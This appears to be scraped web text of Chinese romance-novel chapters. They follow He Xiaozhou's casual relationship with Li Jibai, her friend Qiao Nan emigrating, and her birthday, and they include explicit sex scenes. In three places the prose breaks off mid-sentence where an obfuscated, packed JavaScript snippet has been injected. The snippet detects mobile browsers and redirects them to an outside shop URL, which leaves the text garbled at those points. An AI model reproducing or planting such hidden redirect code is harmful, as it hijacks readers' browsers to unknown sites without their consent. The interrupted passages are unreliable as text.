他反问,理所应当的语气,“不然?” “我先晾下衣服,你随便坐。” 何筱舟跟在他身后,粗略扫了眼室内布局。 也是两居,极简风格装修,暂时还没有太多生活痕迹,收拾得很整齐干净。 李既白挂好湿衣,洗了手,边走去厨房边问:“喝点什么?” 半开放式厨房,做了吧台设计。何筱舟坐上高脚椅,看向敞开的冰箱。 有上次她控诉过被他喝完的葡萄味果酒。 何筱舟淡笑着指了指,他心领神会,取出一瓶开盖递给她。 一同送到眼前的,还有他变魔术般从下方收纳柜里拿出来的一小束向日葵。 “恭喜升职,祝蒸蒸日上。” 何筱舟有些惊讶,接过来说:“谢谢。” 客厅电视在播一档慢节奏综艺,背景音乐浪漫而悠远,何筱舟托腮看着他,但只是看着,目光虚浮,落点不明。 “洗过澡了?” “嗯。” 何筱舟扬眉,小臂相叠趴在台面上,上身前倾。 他立刻意会,也靠过来,“怎么了?” 她凑近亲吻他的下颌,稍稍用了些力,退开时那里便留下一枚清晰的唇印,“介意再洗一次吗?” 李既白随手刮了一下,拇指将那处红痕拖出浅浅的尾迹。他轻轻搓了搓指尖,眸色沉晦地注视着她,以实际行动回答—— 他绕过吧台,将何筱舟扛抱进浴室。 空气中还残余着潮湿的水汽,虽然已经入夏,但皮肤直接挨到大理石材质的洗手台时,还是免不了一阵颤栗。 何筱舟双手后撑,腿弯挂在他臂间借力,跌宕起伏的节奏里,她分心抬起一只脚,踩上他肩膀,又慢慢下滑,停至他胸前。 感受到男生强劲有力的心跳,何筱舟勉力稳住呼吸,说:“这些都是给我买的?” 刚才一进来,她就注意到置物柜上整整齐齐摆着的洗护用品,新的牙具、卸妆油、化妆棉,甚至还有护肤品。 早就知道他是个很周到又细致的人,但没想过会到这种程度。 李既白闻言皱了皱眉,奇怪地看着她。 下一秒,他捏住她的下巴,在她唇上狠狠啄吻一下,“你第二次问这个问题了。” 忽然间,方位调转。 浴室镜面铺陈着细小的水珠,何筱舟隔着雾气与镜中的自己对望,身后则是低垂着头,面无表情的李既白。 他分明还在继续,有力的手臂紧紧环在她腰前。 密密匝匝的吻落在肩头,渐而辗转至后背,他以嘴唇为笔,细细描摹她蝴蝶骨的轮廓,神情认真,像初级新手第一次独立作画般。 然而他唇角若有似无的淡笑却隐约透出几分危险的意味,加上愈发高频的抽动,让她疑心他是否在酝酿什么更加狂乱的意图。 但他只是凑到她耳边说话,热烫的气息一点点钻进她耳里,“声明一下。” “我没有和除你之外的女生有过这样的关系。” 煞有介事的郑重宣告响在浴室里似有回声。 何筱舟对这个角度的抵撞很敏感,很快站立不稳,只能抓牢他的手暂作支撑,以此抵挡即将吞没她的潮涌。 她突然间赶过来其实是想结束与他的关系。 但见到他,看着这张脸的时候,她又有点遗憾。如果真的要收尾,她希望这个抽离的过程能久一点。 到明天,或者后天。 李既白浑然未觉,俯下身,胸膛贴着她后背,将她压低,视线与放置洗护用品的高度齐平。 “我只大概记得你那些东西长什么样,看看,有买错的吗?” 何筱舟没那功夫细瞧,她死咬下唇,盯视男生映在镜中的面孔。 指尖一同附上去,滑过他的眉尾、眼下小痣,最后落到鼻梁。她轻按那处微隆起的驼峰,试图以他和林湛之间的差异点来警示自己。 男生注意到她的异样,动作渐渐慢下来。 他伸手扳过她的脸,含吮她的唇,舌尖扫过唇沿留下的明显齿痕时,哑声问:“怎么了?” 何筱舟摇摇头,反手搂住他的后颈,激烈回吻。 她身体急剧颤抖、皱缩,用力攥着他手腕的指尖几乎掐嵌进他的皮肉。 而他面不改色,稳稳承托着她,轻柔地亲吻她发顶,等浪潮止息。 是真正用的时候,何筱舟发现他准备的这些竟真的都是她在用的牌子,浴液和洗发水也一样,清香的铃兰味道,一点点冲净汗渍,漫延到皮肤表层。 也暂时冲刷掉她纷乱的思绪,周身通透极了。 擦干水分,何筱舟站在镜前拍涂乳液,李既白则拿了吹风机来,给她吹头发。 轰鸣的声响里,何筱舟抬手抹去镜面上的水珠,看着男生的侧脸,低喃:“你可以,不用这么好。” 他没听清,关掉吹风机,“什么?” 她顿了顿,“没,我说你很细心。” 他莞尔一笑,笑容里带着不惹人讨厌的得意和臭屁,“这可能是,民宿从业者的基本修养?” 头发吹干,李既白引她进了卧室,打开衣柜,“你看看哪件能穿。” 何筱舟随便抽了件白T套上。 “那你先睡,我还有点东西没做完。” 他低头亲了亲她的唇角,去了另一间房。 身体很沉重又困倦,陷进床褥之后却如飘浮在水面,神思清醒至极。 无甚作用地闭了会眼,何筱舟起身,去冰箱里拿了两瓶纯净水,敲了敲隔壁的房门。 男生来开门时,颈上还挂着头戴式耳机,他掌住门,问:“没睡?” 何筱舟递给他一瓶水。 “谢谢,”他接过去,咕咚灌下一大口,声音被浸润得很是清亮,“睡不着?” 她一噎,“是,想问你有没有书可以看。” 李既白低笑一声,“有,如果你会想看工具书的话。” 不算大的空间里,靠墙摆着电脑桌和一把人体工学椅,窗台上搁几盆绿植,另一侧墙面,被完整利用起来,做了满墙书柜。 不,更像是展示柜,因为只有寥寥几本书,其他空间被各式各样的飞机模型占据。 而那些书,空气动力学,无人机通信与导航……何筱舟撇开视线,看向开着的电脑屏幕。 他先前可能在剪视频。 片段是无人机的航拍画面,角度很刁钻,时而在水面俯冲,时而又穿梭于林间枝头,操控者技术奇佳,像过山车的第一视角,极有代入感。 何筱舟谨慎地往旁边迈了一步,“这涉及你的工作机密吗?” “跟工作无关,这是我自己账号的内容。” 在属于他的空间里,他好像更自如一点。说着话,他拉开椅子,揽她坐在他膝头。 “你在做自媒体博主吗?” 这其实不算特别稀奇,但她今晚第三次被惊住。 “算是。”李既白解锁手机,给她看账号主页,昵称叫soarintothesky,有十多万粉丝。 账号是冰山一角,那些整整齐齐摆着的飞机模型实际上更能窥见他的爱好全貌。如果不是真的热爱,带着这些远途迁徙搬家会是很繁琐的事。 何筱舟又扭头望过去,总结:“你好像有强迫症。” 男生笑了下,“按类型放,找起来比较方便。” 他撤走搭在她腰间的手,按快捷键切到音乐软件,带点笑音懒散地说:“筱筱姐,帮我选首背景音乐?” 听到这个称呼,何筱舟斜他一眼,“你账号有收益吗?” “除了本身的播放量收益,有时会接点广告或者测评商单。” “行啊,这条给我分成就帮你,小白。” “好啊。”男生眼角略微上挑,浓郁的笑意倾泻而出,看得她不由一愣。 最后选了一首纯音乐,很飘逸动感的节奏,结合画面,真就像低空飞行一般自由无拘。 到凌晨三点多才去睡觉。 彻底沉入梦境前,何筱舟迷迷糊糊地抚着横在腰间的手臂,沿着那清晰的脉络纹路,不免思及浴室里的混乱场面。 她在今晚忽然觉知到李既白内藏的攻击性。 他或许不像林湛那样足够鲜明耀眼,却独有种润物无声的吸引力。 比如夏日的盛阳,即使在树荫下,也能从地面的斑驳光影中感知到它的存在。又或者是北方冬天的雪,渗落到每个角落,为冷冽极寒的灰调世界披上华服。 * 让何筱舟没想到的是,她很快找到与李既白继续牵扯、纠缠下去的理由。 或者说,是一个微妙的平衡点。 那是第二天下午。 何筱舟输掉石头剪刀布,被李既白拉去他住处附近的体育中心。 七月里,津海的空气被日光蒸腾得愈发干燥。 何筱舟被晒得蔫蔫的,忍不住问李既白,他的精力和体力怎么跟小游戏里定时刷新的能量瓶一样永远用不完? 李既白正在整理发带,听到这样的说法先是愣了一下,而后朗笑出声,“怎么样?和我组队,分你一半能量瓶,够有诚意吗?” “这也能分?” “当然。”李既白卸下一侧背包带,取出一瓶能量饮料递给她。 何筱舟语塞几秒,“无聊。” 男生笑意更深,明晃晃的,好像比光线更盛。 何筱舟感觉被他捉弄了,攒足劲,发球的时候用了十分的力,差点把球拍甩出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以第一天见面在桉吴的酒吧才会那样问他。 是后来慢慢修正了结论。 他知行合一,并非市面上常见的渣男。 李既白纠正她,意有所指地说:“我现在算不上知行合一了。” 何筱舟问:“你不认可我们的关系吗?” “坦白说,我之前很矛盾。” 度过青春期懵懂探索阶段之后,他自.慰的次数都很少,曾经一度以为自己性冷淡。 但男生间聊天常会涉及这方面。 他们私下里讨论相关的经历与体验,有人洋洋自得地对比异地恋女友和同城伴侣之间的区别,甚至是拍照、录视频,从身材到声音,事无巨细地分享,任外人评断。 李既白并不是要自诩清流,但他的确会在听到这些的时候,深觉那些人恶心,面目可憎。 所以从没想过他也会有这么动物性的一面。 他坚持着不谈恋爱、不与任何人深度接触的社交准则,借此避免再次困入密切交往带来的依赖陷阱。 却没想到,有朝一日,他会直接越过确立关系的步骤,跟她有了更深层的牵扯。 何筱舟认真听完他的自我剖析,没有过多好奇他话里留白的部分,只侧眸望着他,说:“首先,我们现在都是单身,其次,这段关系里我们只有彼此,不会对其他任何人造成影响或者伤害。” “再者,我们都没有记录的癖好。” 李既白目光沉定,“但你不会觉得,这样对你来说,是种不尊重吗?” “啊?” 何筱舟笑了下,“相反,我很享受和你做,虽然你,暂时没有很多技巧,不过你体力很好,时长弥补了。” 李既白没料到她这么直白,脸瞬间通红,有点慌乱地捂紧她的嘴巴,“喂!何筱舟,你……” “你呢?” 她拨开他的手,“这种矛盾会让你,”她停顿了下,思考合适的措辞,“会让你挣扎吗?或者会多过和我在一起带给你的正面感受吗?” “如果是的话,我们可以结束。” 这场合实在不适合谈论这件事,好在日光正盛,体育馆内正举行篮球比赛,人们渐渐转移阵地,此时这片露天场地里除他俩之外没有别人。 李既白清了清嗓子,“我答应你每周见面的时候,这些心理上的矛盾就已经被生理战胜了。” “抱歉,这可能是男人的通病,或者说,劣根性。” 何筱舟被他的说法逗笑,手探过去胡乱揉了揉他的头发,心头淤堵的沉郁消散了大半。 这样最好,他们彼此需要。 也算得上是一种稳固。 21. 月光 乔楠突然决定要去美国。 其实她早有打算,只是临行前一天才告知何筱舟。 上次party之后,她们有段时间没见面。 因为涉及转职交接,还要尽快熟悉新部门的项目和人员信息,上周何筱舟一直在加班,和李既白的周末约也取消了,闷在家里啃资料。 这晚又熬到将近凌晨,明天第一次和新团队成员开会,她想着趁最后时间做足准备。 室内静到落针可闻,敲门声响起来的时候,吓了她一跳。 更震惊的是乔楠带来的消息。 “因为Eric取消了婚约。” 何筱舟说:“那你考虑过吗,这次追过去能维持几个月?” “你们分分合合这么多次,本质问题是解决不掉的异国啊。” “我想好了,我以后可以留在美国,不回来了。” 乔楠一口气灌下半瓶啤酒,“我爸还准备让我联姻,你说他可笑不可笑。” 何筱舟眼神复杂地看着她,一下子明白过来,她离开不全是为了爱情。 十八岁以前,乔楠一直生活在“楚门的世界”。 乔爸白手起家,坚信只有吃到足够的苦头才能成材,全家人高度认同这个观念,制造家境贫寒的假象,直到乔楠高中毕业。 他们认为她的意志已经被磨炼得足够坚韧,能抵御美国的花花世界,才送她出国镀金。 但物极必反。 “我一没见过世面的穷孩子,突然到美国那个环境,又突然给我很多生活费,说实话,筱筱,我没有酗酒嗑药滥交已经算得上是意志坚定了。” “但我爸还是觉着把我养废了,只知道吃喝玩乐,所以他又想一招,这段时间一直在跟那个做灯具的周家接触。” “他真说得出口,周家那儿子长得跟□□似的。” “乔儿,”何筱舟打断她的喋喋不休,说:“你去之后如果没钱了跟我说。” 乔楠突然咧嘴哭了,画着暗黑系妆容的一张娃娃脸挤成苦瓜,她扑过来抱住何筱舟,哭得涕泗横流。 何筱舟伸手揽住她后背,拿纸巾给她擦脸。 乔楠窝在她肩头,抽抽搭搭地说:“筱筱,你一直都这样,面冷心热,我走之后,你要多交朋友。” 何筱舟不以为然,“你朋友那么多,明天就要走,这会儿还不是在我家。” “那不一样,咱俩从十五岁就建立起来的革命友情别人怎么能比。” 两人读同一所高中,何筱舟是稳居年级第一的学霸,总是冷冷的,不苟言笑,自律到可怕的程度。 在女生们上厕所都要结伴的年纪,她整天独来独往,形单影只。 高中寄宿制,乔楠每月揣五百块住校,将将够吃食堂。 那次她过生日,一时上头,咬牙用大半生活费买了一双心心念念许久的运动鞋。 放学窝在教室里偷偷啃馒头的第五天,何筱舟状似不经意地坐到她旁边,冷着张脸别扭地问,要不要一起从学校侧门溜出去吃夜市,她做题错过了食堂的晚饭时间。 当然,章鱼小丸子、炸鸡柳和煎饼果子、烤冷面最后都进了乔楠的肚子,何筱舟付的钱。 “不过你的确很擅长吃喝。” 乔楠嗤一下笑开,伸手搡了她一把。 她们肩并肩,上身后仰,脑袋挨靠在一起,倚在沙发边缘,就这样盘腿坐在沙发前的地毯上聊天。 聊到两打啤酒全空罐,聊到天际线由沉黑转为深蓝色,聊到口干舌燥仍迟迟不去睡,好像要把分别之后的所有话都聊完一样。 晨光照进阳台的时候,何筱舟上OA提了一天假,然后下楼,到巷口的早餐店买了糖果子和豆腐脑。 乔楠也醒了,洗漱完清清爽爽的一张脸,卸掉浓妆之后的大眼睛跟葡萄似的,圆润黑亮。 “吃吧,以后再想吃可就难了。” 何筱舟倒了两杯温水,跟她碰了碰杯,“希望你能开启真正意义上的新生活。” 乔楠明白她的意思,差点又哭了。 略有沉重的氛围止于吃完早餐出门。 何筱舟换好鞋取包,忽听乔楠一声响彻屋顶的尖叫,她手一抖,差点把车钥匙掉地上。 “这是什么!男人的鞋!” 乔楠指着鞋柜里李既白之前买的那双男拖。 何筱舟沉吟两秒,面不改色地说:“之前刘老师跟我妈来过一次,没拖鞋换,我后来买的。” 乔楠半信半疑地哦了一声。 到机场,真正分别前,乔楠用很大力气拥抱何筱舟,回赠同样郑重的祝愿,“筱筱,你也要开启真正意义上的新生活。” 何筱舟点头,目送她只背了个皮包的背影渐渐消失于来来往往的人流,在原地站了一会,才驱车离开。 * 下午还是去了趟公司。 与料想中的情况一样,跟新部门成员首次会议进行得不太顺利。 她算是空降过来的,有点资历的员工自然不会心服,其中比较明显的当属张巍。 何筱舟猜想,他应该是这次职级评定有希望坐到经理一职的人。 她着重看过张巍的资料,马上30,年后休过陪产假,刚当爸爸,生活压力比较大,应该很注重这次晋升。 只是他入职知界的前几年年度绩效都是B级,前年和去年才慢慢拿到A,虽然只要去年是A+就能申请今年的评级,但过往绩效应该也是评审专家的参照之一,所以没能升迁。 CKMP子部对比起AI来说,内卷不算严重,再加上日常工作内容不算复杂,基本可以说是研发部的养老圣地。 张巍算是其中比较努力的人。 所以何筱舟并没在意他在会上发言时话里明晃晃的毛刺。 无非是在质疑她够不够格做他的领导罢了,但这不是一朝一夕能证明的。 两个小时左右的会议,各自介绍一下手里的工作和项目情况,再结合过往履历,何筱舟便对新团队下属有了初步了解,也基本知晓了他们每个人的工作能力。 工作安排上,她没有做大幅度的调整。 只是对于张巍,何筱舟把下半年一个重点项目交给他负责,还给了他小范围的人员调配权,让大家尽量配合项目需要,如果时间上有冲突的话再协调。 这么做并非讨好。 何筱舟想,她不需要向他证明什么,倒是张巍,需要向她证明他的能力,以及他认为可以胜过她的优势。 她当然乐意给他机会。 至于能不能把控住,靠他自己。 何筱舟没销假,开完会直接走了。 她不是完全坚硬的人,需要点时间来消化乔楠毫无预兆的离开。 尤其在回到家,看见茶几上还东倒西歪搁着昨晚喝空的啤酒罐时,那种并不剧烈的怅然像蛛网一样,脱落、下坠,贴在身上,怎么也撕不完。 她随便找了部电影看,顺手开了自动续播。 小小的影音室拉上遮光窗帘后变得完全漆黑。 她蜷腿窝在沙发里,时而因喜剧捧腹大笑,时而因现实映照陷入沉默,就这样,在轮番上演的光影故事中,情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715895|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐被稀释,一点点变得麻木。 不知道过去多久,大概是第三部播到结尾演员表的时候,手机响了。 何筱舟拿过来瞟了一眼,这一下,瞬间清醒。 李既白给她转账两万块,支付宝转的,转完就拉黑了她。 ? 之所以知道是他,是因为他可能所有账号都共用同样的昵称,和微信对应的“既”。 何筱舟点进联系人信息确认,他头像闪了下,先前渝宿的日出变成几个大小不一被做旧丝线缠绕的南瓜,背景看上去是家很别致的咖啡店,跟那个转账的账号一样。 何筱舟急急敲字,又尽数删掉,扣了个问号过去。 男生很快回复,“上次说好的,选背景音乐的劳务费。” “我开玩笑的,还真转啊,转了还拉黑?” “不然你会再转回来。” 何筱舟被他噎住,气笑了,“你既然知道,那更应该明白,我不会收的。” 她用微信转回去,语气不容置疑,“你收下。” 李既白没收,只回过来一条,“那让我请你吃饭?” 何筱舟这时才感到饿。 拉帘一看,窗外天色已经黑透。 今天也算是休息日,何筱舟想了想,问:“吃什么?” “你决定。” “去哪吃?” 李既白回,“要不你先下楼,我们细说?” 何筱舟微愕,“什么?” 她边回复,边从沙发里起身,走去阳台。 果然,李既白站在社区入口的那棵大树下,白色T恤表层被路灯蒙上一层清霜似的光晕。 他正抬头看过来,朝她挥了挥手。 何筱舟愈发诧然,穿好衣服,换了鞋下楼。 “为什么突然转钱?” 李既白温声说:“可能是,抛砖引玉?” “玉是什么?” 他坦荡荡,理所当然地答:“和你吃饭啊。” 何筱舟一顿,好奇地问:“一条视频就能有这么多收益吗?” 当然没有。 李既白看着她,“你不觉得这个数字有点眼熟?” 何筱舟反应过来,一反常态地没好气拍了他胸口一下。 男生勾唇笑了下,“说真的,想吃什么?” “你先收了钱,我们再说吃饭的事。” “那如果用这个当劳务费的话,你收吗?” 李既白摘下一侧背包带,拉开拉链,取出一只包装精美的盒子递给她。 “不贵,但应该可以让你睡个好觉。” 何筱舟疑惑地问:“我可以打开看看吗?” 李既白点点头。 是一枚香薰蜡烛,开盒之后清新恬淡的松香气息扑鼻而来,外壳画有各类植物的图案,像浓缩的森林世界。 何筱舟深深嗅闻了下,抬眉看着他,“怎么送我这个?” 李既白回视她,昏暗光线下目光显得尤其深邃。 “因为我们上周没见面,但你半夜三点给我的朋友圈点了个赞。” “手滑,我马上取消了。” 其实是因为他的上周总结图集里,有一张日落图拍得很好看,她周六熬大夜看项目代码,睡前照例刷了波朋友圈,看到时眼前一亮,不由点了个赞。 但想到他们有微信共友,又取消了。 “我看到了。” 何筱舟明白他的意思,弯唇一笑,“那好像你也需要这个。” “是,所以我买了两只,另一个在我房间床头。” 22. 树影 何筱舟重新装好,搁进包里,“谢谢,我很喜欢。” 其实李既白拿不准,因为她家里的布置很简洁,基本没有这类小玩意。 听她这么说,他牵唇笑了,“喜欢就好。” 李既白掏手机打车,问:“河西新天地可以吗?” 是这周边比较大的商圈,过座桥就到,有好几家口碑不错的餐厅。 何筱舟说:“我公司在那附近。” 他明白过来,笑意敛了些,“那,王府井?” 何筱舟打断他,语气平淡,“可以亲你吗?” 李既白没细听,以为她是在应和他讨论地点,嘴比脑子快,“可以啊。” 话脱口才察觉不对劲,“啊?” 他下意识环视周围。 现在还不算晚,只有零星几个散步的老人,幽长静谧的巷子将那些低微的交谈声尽数吸纳,四下安静极了。 何筱舟低声笑了下,攀住他的脖颈,唇迎上去,轻浅地含吮他的下唇。 没有更深入,她本意也不在此。 趁男生还没反应过来,她另只手抽走他的手机,切进微信。界面刚巧停在和她的聊天窗口,何筱舟便很顺利地,将那笔转账点了收款。 做完这些,她后撤一小步,把手机还给他,“抛砖引玉。” “只看了我们的聊天记录,不算侵犯你隐私吧?” 李既白低眉注视着她,喉结很明显地滚了一下。 他偏头看一眼不远处那对老夫妻,拉着她的手腕绕进树后阴影里。 环境受限,何筱舟不觉得他能做什么出格的举动,倚在粗壮的树干上,似笑非笑地看着他。 男生不甘示弱地盯视她,就这样对峙须臾,他伸手扣住她后颈,猝然低头。 出乎意料的,轻盈的吻没落在唇上,而是耳后,以近似于厮磨的方式流连在那一处。 “还吃不吃饭了?” 夏夜里本就溽热,再叠加他湿烫的气息,何筱舟感觉耳畔那一小片皮肤快被融化了。 她难耐地闭了闭眼,揪住他T恤一角,指尖勾着胡乱搅缠,“如果不吃了呢?” “上楼,”他顿了顿,压低嗓音,“干你。” 嚯~! 何筱舟眨眨眼,瞬间神思清明,心道他怎么忽然转了性,又因他的反差和隐秘刺激感窜出兴奋的叫嚣。 但很快,她就觉察出他是在虚张声势。 因为他贴在她脸侧的耳朵散发出蓬勃热度,烫得灼人。 何筱舟扑哧笑了,额头抵在他肩膀上,竭力遏制着才没笑出声,憋得肩膀发颤。 “所以你上次问我能不能接受语言……是这个意思。” 是从网球场回去后。 大概因为她直言他技巧不足,那晚他频繁更换姿势,还时不时停下来,问“是这里吗”、“这样对吗”,搞得她不上不下,不得不翻身,主导一切。 可能下午运动量太大,又或者持续时间过久,结束后,她腿根发颤,疲惫地直接躺倒在床尾。 他抽纸巾帮她清理干净,表情欲言又止,看上去想说点什么,但一直没说出口,只在抱她去浴室冲澡的时候问了那个问题,她那时候累到极点,含糊着应了一声。 李既白轻掐一把她腰间的软肉,召回她乱飞的思绪,“笑什么。” “笑你进化得还不够彻底。” “是,”他坦然承认,“我还在学习。” 何筱舟笑意更深,“都学什么了?” “你想知道?” 她点点头。 “下次告诉你。” “那现在?” 李既白牵着她从树后走出来,“去吃饭。” * 何筱舟拿不准主意,最后由李既白做主,带她去了一家开在闹市区街巷深处的小餐馆。 店里面积不算大,但整洁干净,坐满了食客。 点了几道家常菜,并非津海口味,应当是外地的菜系,大火炒出来,带点微薄的辣,程度在接受范围内,鲜香味道令何筱舟食指大动。 而比食物香味还要浓郁的,是热闹的气氛。 像是藏在都市钢筋丛林腹地的秘境,熙攘的烟火气足够冲淡一切阴霾和疲惫。 李既白趁着往她杯子里续冰饮的间隙,问:“味道怎么样?” 何筱舟实则物欲很低,在吃喝方面更是,她对食物没有过高要求,味道不至于难以下咽,足够果腹就行。 但这家店,从菜品到氛围,都是热气腾腾的,处在其间,好像所有负面能量都会被自动吸纳。 “还不错,第一次觉得吃辣不是折磨,很过瘾。” 他似松了口气的样子,“还担心你会吃不惯。” 店内冷气开到最低温度,许是气氛所致,吃到最后,背上竟沁出一层薄汗。 却是很畅快、通透的感觉。 自机场与乔楠分别之后一直盘踞在心头的怅然仿佛也一同被蒸发。 从餐馆出来,何筱舟好奇地问:“我住的地方不算远,都没来过这里。津航大在郊区,你是怎么发现这家店的?” 李既白笑答:“我有个习惯,无聊的时候随便坐上一趟公交,随机换乘,闲逛。” 何筱舟笑了笑,“收集朋友圈素材?” “那不是目的,只是顺便。” 走出那片热闹的街区,即能望见清澜河两岸的夜景。 不间断有风从河面上吹来,何筱舟闭上眼,任夜风轻而慢地洗尽肺里最后一点浊气。 距离不远,但一路闲聊着,走走停停近一个小时才到新安社区门口。 老小区没有夜生活一说,巷道里已不见其他行人,有猫咪窜进绿化带,留下窸窸窣窣的碎音。 再回到那棵树旁,李既白有点不自在。 他轻咳了声,“回去吧,早点休息。” “你大老远过来,就是为了请我吃饭吗?” 何筱舟终于将疑惑问出口,他今天来得突然,很反常。 李既白摇头,“也不是。” “我今天下班时候,看到季惟在群里,”他顿了顿,“嗯,说发疯也不为过,才知道乔楠姐出国了,甚至以后不会再回来。” “我之前听说你和乔楠姐认识很多年了,我想你可能会……难过,所以。” 事实上,何筱舟相比起季惟,已经十分内敛。 李既白知道她不是外放的人,印象中最外露的一次好像就是在渝宿看日出,但越是这样,越要给情绪安排一个出口。 “所以你特地来找我?” 男生勉强扯唇,“但你看起来还好,可能是我多想了。” 何筱舟定定看着李既白。 真神奇。他与林湛几乎一样的长相,性情却截然不同。 以往读书时候遇到烦扰的事,林湛也常想办法带她做点别的事转移注意力,否则以她的性格,大概率会一直困在原地,死磕到底。 但通常是燥到极致的,开赛车、极限运动,或是弹一段能引发颅内高.潮的强节奏曲调给她听。 他喜欢那种肾上腺素飙升的感觉,也为她创造一个新奇而光怪陆离的世外空间,让她暂时忘掉烦恼。 何筱舟有时不太适应,但大多数时候都是受用的。 没想到,今晚只是吃饭、散步,这样静谧又普通的过程,也能有同样的效果。 是因为相貌加成吗?让她某一刻产生错觉。 似有根绷紧的弦被谁轻飘飘拨了下,何筱舟隐约听到低沉厚重的鸣音,带有绵长的回响。 或许来自她心底。 她一贯不擅长直截了当地表达真实情感,也很难说得出一些掏心窝子的话,她有时会想自己是不是天生缺少这项能力,以至于她只能承接七情六欲的感受,却无从倾吐或宣泄。 这样想着,她上前一步,踮脚抱住他,“实话说,不太好。” 男生合臂搂紧她的腰,微微躬身,把她完完全全裹进怀里。 他下巴搭在她肩窝处,润朗的嗓音近在咫尺,“那现在呢,有没有心情好一点?” 恍若听见那隐秘的弦声又响起,如雨落窗檐般,奏出不成调的断音。 何筱舟低应:“有的。” 很热,空气里裹着热浪,身体紧密贴合更热。 这样密不透风的热度仿佛让她的血液也随之沸腾。 她退开一些,偏头去寻他的唇。 他微愣神,很快给予温柔的回应。 不存在谁占据主导,只是轻吮、互相缠绕,一点点掠夺对方的氧气。 没有持续很久,但分开时却有种缺水的感觉。 又静静拥抱了片刻。 等何筱舟上楼之后,李既白才离开。 她站在阳台上目送他的背影渐渐消失,又看了一眼门口那棵有年头的老树。 她一定会记得这个夜晚。 深夜安静无人的长巷里,他们站在树下,第一次交换了一个不含情欲的吻。 * 已经七月底,大学城愈发沉寂,何丽萍决定暂时休店,和刘循书一起出去旅游。 何筱舟知道这件事的时候,两人已经出发了。 她看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739594|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何丽萍发来的信息哭笑不得。 就一张图片,拍的是贴在闭合卷帘门上的A4纸,字迹遒劲有力,一看就是出自刘循书之手。 但内容俨然是何丽萍的说话风格,就四个字:旅游去了。 何筱舟收到信息时正准备出门去一趟大学城。 公司防暑福利给员工发放了些礼品,有不少应季水果,她想着给何丽萍送过去一些。 没成想。 她把水果塞进冰箱,拿罐冰啤窝进沙发。 “去哪了?” 何丽萍过了会才回信息,“桉吴。” 何筱舟哭笑不得,“你反正都要去,之前还让我去。” 她想到自己中途退团的事,隐约觉得这是个危险话题,怕何丽萍问些相关的事答不上来,匆忙撤回,发了条,“去多久啊?” “你刘叔放暑假呢,等开学再回去吧。” “一直待在桉吴?” “废话,你刘叔都计划好了,要去好几个地方。” 何筱舟回了个哦,给何丽萍绑定快捷支付的那张银行卡转去两万块钱。 她若无其事地发了会呆,下载了个房产APP,范围筛到大学城,查看那附近的房源。 算起来,何丽萍跟刘循书交往快两年了。 何丽萍现在还是租房住,如果他们决定结婚的话,应该会搬去刘循书的房子。 她并非信不过刘老师,只是觉得有点怪异,所以想着给何丽萍买套房。 新旧楼盘都看过几栋,何筱舟便对那片区域的房价大致有了了解。 她锁了屏,仰躺在沙发里,望着天花板出神。 何筱舟的生活乏善可陈,基本可以用无趣概括。 除去工作时间,她基本都待在家里,以往的休息日,要么去乔楠那,要么就是去看看何丽萍。 现在她们都不在津海,至于她和李既白的周末约定…… 兴许是前几天那次夜晚散步有点超出她对这段关系的预期,让她隐约觉得事情正在朝着脱轨的方向发展,所以周六一早,她借口工作忙,推辞了见面。 李既白并不意外,只简单说让她注意劳逸结合就挂断了电话。 他的朋友圈照常更新,依然是运动主题,中午发的,九宫格大半都是他家附近那座体育馆,墙角石缝中探出的小草、或是羽毛球被击飞的瞬间。 他好像同样缺乏社交,但曝露出的日常又很生动鲜活。 不像她,平静无波如一潭死水。 意识到自己又一次点开他的主页,何筱舟猛地坐起身,把手机倒扣回桌面,灌下一大口冰啤。 …… 时间波澜不惊地向前推进,很快又晃过一周。 这天上班打卡的时候,看到钉钉的信息提醒,何筱舟才恍觉到了她的生日。 28岁。 技术序列专家级,虽不是AI子部,但也做到了同级别的经理,应该算达到了她三十岁的阶段性目标。 这一年的8月4号是周五,何筱舟没有在公司逗留,准点打卡下班。 她先在底商的甜品店买了小蛋糕才走去地铁站。 列车照常驶入跨桥轨道的时候,傍晚的夕阳哗一下映进车厢。 何筱舟在周遭乘客的惊呼声中举起手机,留下了最好视角的日落。 到晚上,远在美国的乔楠和刚刚到达川渝的何丽萍接连打来视频电话。 拢共聊了一个多小时。 挂断后,何筱舟切下一小牙蛋糕,拿上两瓶鸡尾酒,走进影音室。 看的是《寻梦环游记》,播了两遍。 第二遍进入尾声的时候,她接到一个意料之外的电话。 “何筱舟,生日快乐。” 李既白听上去像刚刚剧烈运动过,气息很不稳。 何筱舟微讶,愣怔两秒,道:“谢谢。” 男生深吸口气,声音变得平稳,“我家停电了。” 她装傻,“嗯?怎么会停电呢?这么热的天。” “收留我一晚,好吗?” 恳切的语气,让人无法拒绝。 何筱舟看了眼时间,已经快到凌晨。 她笑了声,“好啊,如果你能在半小时内赶到的话。” 